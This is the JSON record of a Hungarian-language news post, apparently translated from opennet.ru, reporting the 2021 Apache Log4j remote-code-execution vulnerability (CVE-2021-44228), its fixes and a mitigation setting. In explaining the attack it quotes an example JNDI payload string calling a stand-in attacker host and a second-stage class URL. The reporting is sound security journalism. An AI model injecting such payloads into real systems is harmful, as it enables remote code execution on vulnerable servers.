{"id":102562,"date":"2021-12-10T09:36:48","date_gmt":"2021-12-10T07:36:48","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty"},"modified":"2021-12-10T09:36:48","modified_gmt":"2021-12-10T07:36:48","slug":"katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hu\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","title":{"rendered":"A catastrophic vulnerability in Apache Log4j affecting many Java projects","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Az Apache Log4j, a Java-alkalmaz\u00e1sok napl\u00f3z\u00e1s\u00e1nak n\u00e9pszer\u0171 keretrendszere, kritikus sebezhet\u0151s\u00e9get mutatott, amely lehet\u0151v\u00e9 teszi tetsz\u0151leges k\u00f3d v\u00e9grehajt\u00e1s\u00e1t, ha egy k\u00fcl\u00f6n\u00f6sen form\u00e1zott \u00e9rt\u00e9ket \u00edrn\u00e1nak napl\u00f3ba a «{jndi:URL}» form\u00e1tumban. A t\u00e1mad\u00e1s v\u00e9grehajthat\u00f3 olyan Java-alkalmaz\u00e1sok ellen, amelyek napl\u00f3z\u00e1s sor\u00e1n k\u00fcls\u0151 forr\u00e1sokb\u00f3l sz\u00e1rmaz\u00f3 \u00e9rt\u00e9keket r\u00f6gz\u00edtenek, p\u00e9ld\u00e1ul a probl\u00e9m\u00e1s \u00e9rt\u00e9kek hiba\u00fczenetekben val\u00f3 megjelen\u00edt\u00e9sekor. <\/p>\n

Megjegyz\u00e9sre ker\u00fclt, hogy a probl\u00e9ma szinte minden olyan projektn\u00e9l el\u0151fordul, amely az Apache Struts, Apache Solr, Apache Druid vagy Apache Flink keretrendszereket haszn\u00e1lja, bele\u00e9rtve a Steamet, az Apple iCloudot, a Minecraft j\u00e1t\u00e9k klienseit \u00e9s szervereit. V\u00e1rhat\u00f3, hogy a sebezhet\u0151s\u00e9g t\u00f6meges t\u00e1mad\u00e1sok hull\u00e1m\u00e1t ind\u00edtja el a v\u00e1llalati alkalmaz\u00e1sok ellen, megism\u00e9telve az Apache Struts keretrendszerben tapasztalt kritikus sebezhet\u0151s\u00e9gek t\u00f6rt\u00e9net\u00e9t, amely k\u00f6r\u00fclbel\u00fcl 65%-ban \u00e9rinti a Fortune 100-as list\u00e1n szerepl\u0151 v\u00e1llalatok webalkalmaz\u00e1sait. M\u00e1r megfigyeltek behatol\u00e1si k\u00eds\u00e9rleteket is sebezhet\u0151 rendszerek felder\u00edt\u00e9se c\u00e9lj\u00e1b\u00f3l. <\/p>\n

A probl\u00e9ma s\u00falyosbodik azzal, hogy m\u00e1r k\u00f6zz\u00e9tett\u00e9k a m\u0171k\u00f6d\u0151 exploitot, de a stabil \u00e1gon jelenleg m\u00e9g nem \u00e9rkeztek jav\u00edt\u00e1sok. A CVE-azonos\u00edt\u00f3t m\u00e9g nem rendelt\u00e9k hozz\u00e1. A jav\u00edt\u00e1st csak a log4j-2.15.0-rc1 teszt\u00e1gban helyezt\u00e9k el. A sebezhet\u0151s\u00e9g blokkol\u00e1s\u00e1nak alternat\u00edv m\u00f3dszerek\u00e9nt aj\u00e1nlott a log4j2.formatMsgNoLookups param\u00e9tert true \u00e9rt\u00e9kre \u00e1ll\u00edtani. <\/p>\n

A probl\u00e9ma abb\u00f3l ad\u00f3dott, hogy a log4j t\u00e1mogatja a speci\u00e1lis «{}» maszkok kezel\u00e9s\u00e9t a napl\u00f3zott sorokban, amelyekben JNDI (Java Naming and Directory Interface) lek\u00e9rdez\u00e9sek hajthat\u00f3k v\u00e9gre. A t\u00e1mad\u00e1s l\u00e9nyege egy «${jndi:ldap:\/\/attacker.com\/a}» al\u00e1rendelt sz\u00f6veg \u00e1tad\u00e1sa, amelynek feldolgoz\u00e1sa sor\u00e1n a log4j k\u00fcldeni fog a szerver<\/a> attacker.com LDAP-k\u00e9r\u00e9st k\u00fcld a Java-oszt\u00e1ly \u00fatvonal\u00e1r\u00f3l. A visszakapott szerverrel<\/a> t\u00e1mad\u00f3 \u00e1ltal megadott \u00fatvonal (p\u00e9ld\u00e1ul http:\/\/second-stage.attacker.com\/Exploit.class) bet\u00f6lt\u0151dik \u00e9s v\u00e9grehajt\u00f3dik a jelenlegi folyamat kontextus\u00e1ban, ami lehet\u0151v\u00e9 teszi a t\u00e1mad\u00f3 sz\u00e1m\u00e1ra, hogy tetsz\u0151leges k\u00f3dot hajtson v\u00e9gre a rendszeren, az aktu\u00e1lis alkalmaz\u00e1s jogainak birtok\u00e1ban. <\/p>\n

Kieg\u00e9sz\u00edt\u00e9s 1: A sebezhet\u0151s\u00e9ghez CVE-2021-44228 azonos\u00edt\u00f3t rendeltek. <\/p>\n

Kieg\u00e9sz\u00edt\u00e9s 2: Felfedezt\u00e9k a log4j-2.15.0-rc1 kiad\u00e1s\u00e1val hozz\u00e1adott v\u00e9delem megker\u00fcl\u00e9s\u00e9nek m\u00f3dj\u00e1t. \u00daj friss\u00edt\u00e9st aj\u00e1nlottak, a log4j-2.15.0-rc2-t, amely teljesebb v\u00e9delmet ny\u00fajt a sebezhet\u0151s\u00e9ggel szemben. A k\u00f3dban kiemelt\u00e9k a v\u00e1ltoz\u00e1st, amely az \u00e9rv\u00e9nytelen form\u00e1tum\u00fa JNDI URL haszn\u00e1latakor nem okoz le\u00e1ll\u00e1st.
\n
Forr\u00e1s: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

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\u043e\u0448\u0438\u0431\u043a\u0430\u0445. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102562","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Katasztrof\u00e1lis s\u00e9r\u00fcl\u00e9kenys\u00e9g az Apache Log4j-ben, amely sok Java-projektet \u00e9rint | ProHoster","description":"Az Apache Log4j, a Java-alkalmaz\u00e1sok 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